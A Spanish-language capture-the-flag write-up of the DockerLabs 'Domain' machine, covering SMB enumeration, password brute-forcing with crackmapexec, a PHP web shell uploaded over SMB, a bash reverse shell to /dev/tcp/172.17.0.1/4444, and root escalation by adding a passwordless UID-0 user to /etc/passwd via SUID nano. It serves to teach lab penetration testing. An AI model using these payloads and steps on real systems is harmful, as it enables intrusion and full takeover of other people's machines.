Post

DockerLabs - Domain

DockerLabs - Domain

nmap

1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Domain]
└─$ nmap -p- -sS --min-rate 5000 -n -Pn 172.17.0.2 
PORT    STATE SERVICE
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Domain]
└─$ nmap -sCV -p80,139,445 172.17.0.2           
PORT    STATE SERVICE     VERSION
80/tcp  open  http        Apache httpd 2.4.52 ((Ubuntu))
|_http-title: \xC2\xBFQu\xC3\xA9 es Samba?
|_http-server-header: Apache/2.4.52 (Ubuntu)
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2026-XX-XXTXX:XX:XX
|_  start_date: N/A

análisis

En la pantalla principal encontramos una breve introducción explicando qué es Samba:

Desktop View

Dado que estamos tratando con SMB, vamos a ejecutar un escaneo con enum4linux en busca de información útil, donde nos termina revelando los usuarios james y bob, y varios recursos compartidos a los que no tenemos acceso sin credenciales válidas:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Domain]
└─$ enum4linux -a 172.17.0.2

 =========================================( Target Information )=========================================

Target ........... 172.17.0.2                                                                                                                                           
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

========================================( Users on 172.17.0.2 )========================================

index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: james    Name: james     Desc:                                                                                           
index: 0x2 RID: 0x3e9 acb: 0x00000010 Account: bob      Name: bob       Desc: 

user:[james] rid:[0x3e8]
user:[bob] rid:[0x3e9]

[+] Attempting to map shares on 172.17.0.2                                                                                                                              

//172.17.0.2/print$     Mapping: DENIED Listing: N/A Writing: N/A                                                                                                       
//172.17.0.2/html       Mapping: DENIED Listing: N/A Writing: N/A

acceso inicial (www-data)

Intentamos obtener las credenciales de los usuarios james y bob por fuerza bruta usando crackmapexec (o la versión más actual, que es nxc), y tras un rato, obtenemos la del usuario bob:

1
2
3
4
5
6
7
8
9
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Domain]
└─$ crackmapexec smb 172.17.0.2 -u bob -p /usr/share/seclists/Passwords/rockyou.txt
SMB         172.17.0.2      445    E1E8E5AA2A82     [*] Windows 6.1 Build 0 (name:E1E8E5AA2A82) (domain:E1E8E5AA2A82) (signing:False) (SMBv1:False)
SMB         172.17.0.2      445    E1E8E5AA2A82     [-] E1E8E5AA2A82\bob:123456 STATUS_LOGON_FAILURE 
SMB         172.17.0.2      445    E1E8E5AA2A82     [-] E1E8E5AA2A82\bob:12345 STATUS_LOGON_FAILURE 
SMB         172.17.0.2      445    E1E8E5AA2A82     [-] E1E8E5AA2A82\bob:123456789 STATUS_LOGON_FAILURE 
SMB         172.17.0.2      445    E1E8E5AA2A82     [-] E1E8E5AA2A82\bob:password STATUS_LOGON_FAILURE
...
SMB         172.17.0.2      445    E1E8E5AA2A82     [+] E1E8E5AA2A82\bob:**** 

Nos conectamos por SMB con smbclient, y dentro encontramos un fichero index.html, el cual nos bajamos para revisarlo:

1
2
3
4
5
6
7
8
9
10
11
12
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Domain]
└─$ smbclient \\\\172.17.0.2\\html -U "bob%****"
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 11 09:35:48 2024
  ..                                  D        0  Thu Apr 11 09:18:47 2024
  index.html                          N     1832  Thu Apr 11 09:21:43 2024

                76798724 blocks of size 1024. 33857628 blocks available
smb: \> get index.html 
getting file \index.html of size 1832 as index.html (298.2 KiloBytes/sec) (average 298.2 KiloBytes/sec)
smb: \> exit

Al revisarlo, nos damos cuenta de que es muy probable que sea el que vemos en la pantalla principal del servidor web:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Domain]
└─$ cat index.html 
<!DOCTYPE html>
<html lang="es">
<head>
    ...
</head>
<body>
    <div class="container">
        <h1>¿Qué es Samba?</h1>
        <p>Samba es una implementación de software libre del protocolo de archivos compartidos de Microsoft Windows para sistemas operativos tipo Unix. Permite que sistemas operativos Unix compartan archivos e impresoras en una red de área local utilizando el protocolo SMB/CIFS.</p>
        
        <h2>¿Para qué sirve Samba?</h2>
        <p>Samba es útil en entornos donde hay una mezcla de sistemas operativos, incluidos Windows y sistemas basados en Unix como Linux o macOS. Con Samba, los usuarios de Windows pueden acceder a archivos y recursos compartidos en servidores Unix, y viceversa.</p>
        
        <p>Además de compartir archivos, Samba también puede actuar como un controlador de dominio en redes Windows, proporcionando autenticación y servicios de directorio.</p>
        
        <p>En resumen, Samba es una herramienta fundamental para la interoperabilidad entre sistemas Windows y Unix en redes empresariales y domésticas.</p>
    </div>
</body>
</html>

Si es este el caso, lo que podemos hacer es subir un script que nos permita ejecutar comandos de forma remota:

1
2
3
4
5
6
7
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Domain]
└─$ nvim cmd.php
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Domain]
└─$ cat cmd.php         
<?php
        system($_GET['cmd']);
?>

Una vez creado el script, lo subimos:

1
2
3
4
5
6
7
8
9
10
11
12
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Domain]
└─$ smbclient \\\\172.17.0.2\\html -U "bob%star"
Try "help" to get a list of possible commands.
smb: \> put cmd.php
putting file cmd.php as \cmd.php (2.6 kB/s) (average 2.6 kB/s)
smb: \> ls
  .                                   D        0  XXX XXX XX XX:XX:XX 2026
  ..                                  D        0  Thu Apr 11 09:18:47 2024
  index.html                          N     1832  Thu Apr 11 09:21:43 2024
  cmd.php                             A       32  XXX XXX XX XX:XX:XX 2026

                76798724 blocks of size 1024. 33857552 blocks available

Si ahora tratamos de acceder a este script desde el navegador, veremos que es posible ejecutar comandos:

1
http://172.17.0.2/cmd.php?cmd=id

Desktop View

Procedemos a obtener una reverse shell poniéndonos en escucha por consola con nc, y ejecutando el siguiente comando (hay que codificar los & a %26 para que no entre en conflicto):

1
http://172.17.0.2/cmd.php?cmd=bash -c 'bash -i >%26 /dev/tcp/172.17.0.1/4444 0>%261'

En la consola donde estamos en escucha deberíamos haber obtenido la reverse shell:

1
2
3
4
5
6
7
8
9
10
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Domain]
└─$ nc -nlvp 4444             
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 38110
www-data@e1e8e5aa2a82:/var/www/html$ whoami
whoami
www-data
www-data@e1e8e5aa2a82:/var/www/html$ hostname -I
hostname -I
172.17.0.2

Ahora trataremos la TTY para tener una consola completamente interactiva:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@e1e8e5aa2a82:/var/www/html$ script -c bash /dev/null
script -c bash /dev/null
Script started, output log file is '/dev/null'.
www-data@e1e8e5aa2a82:/var/www/html$ ^Z
zsh: suspended  nc -nlvp 4444

┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Domain]
└─$ stty raw -echo;fg                           
[1]  + continued  nc -nlvp 4444
                               reset xterm

www-data@e1e8e5aa2a82:/var/www/html$ export TERM=xterm
www-data@e1e8e5aa2a82:/var/www/html$ export SHELL=bash
www-data@e1e8e5aa2a82:/home$ stty rows 48 columns 210

En el fichero /etc/passwd comprobamos si hay más usuarios que tengan asignada una consola, pero únicamente encontramos los que ya hemos descubierto previamente:

1
2
3
4
www-data@e1e8e5aa2a82:/home$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
bob:x:1000:1000:bob,,,:/home/bob:/bin/bash
james:x:1001:1001:james,,,:/home/james:/bin/bash

movimiento lateral (bob)

Dado que sabemos cual es la contraseña del usuario bob por SMB, podemos comprobar si se está reutilizando la contraseña también a nivel de sistema, y vemos que se está haciendo:

1
2
3
4
www-data@e1e8e5aa2a82:/home$ su bob
Password: 
bob@e1e8e5aa2a82:/home$ whoami
bob

escalada de privilegios (root)

Buscamos los binarios cuyos permisos sean SUID (se pueden ejecutar con los permisos del propietario), donde notamos que hay uno que no suele ser común ver (/usr/bin/nano):

1
2
3
4
5
6
7
8
9
10
11
bob@e1e8e5aa2a82:~$ find / -perm -4000 2>/dev/null
/usr/bin/newgrp
/usr/bin/su
/usr/bin/umount
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/mount
/usr/bin/chsh
/usr/bin/nano
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

Tener permisos SUID sobre editores de texto como nano nos permite modificar cualquier fichero dentro del sistema, ya que el propietario suele ser el usuario root o algún otro usuario privilegiado.

Lo que haremos en este caso es modificar el fichero /etc/passwd para añadir un nuevo usuario privilegiado:

1
bob@e1e8e5aa2a82:/home$ nano /etc/passwd

La siguiente línea es la que debemos indicar en fichero /etc/passwd:

1
root2::0:0::/root:/bin/bash

Los valores del campo de nombre, la contraseña, la carpeta personal o la shell asignada pueden variar, pero el UID y el GID deben ser 0 para que el usuario sea privilegiado (root), tal y como se indica en la siguiente imagen, la cual explica la estructura de los registros del fichero /etc/passwd:

Desktop View

Teniendo esto claro, procedemos a modificar el fichero /etc/passwd y revisamos que el resultado sea el siguiente:

1
2
3
4
5
6
bob@e1e8e5aa2a82:/home$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
bob:x:1000:1000:bob,,,:/home/bob:/bin/bash
james:x:1001:1001:james,,,:/home/james:/bin/bash
root2::0:0::/root:/bin/bash

Si ahora probamos a conectarnos como el nuevo usuario, veremos que nos otorga la contraseña sin pedirnos la contraseña:

1
2
3
bob@e1e8e5aa2a82:/home$ su root2
root@e1e8e5aa2a82:/home# whoami
root

Con esto habremos completado la máquina Domain!

buymecoffee_icon

This post is licensed under CC BY 4.0 by the author.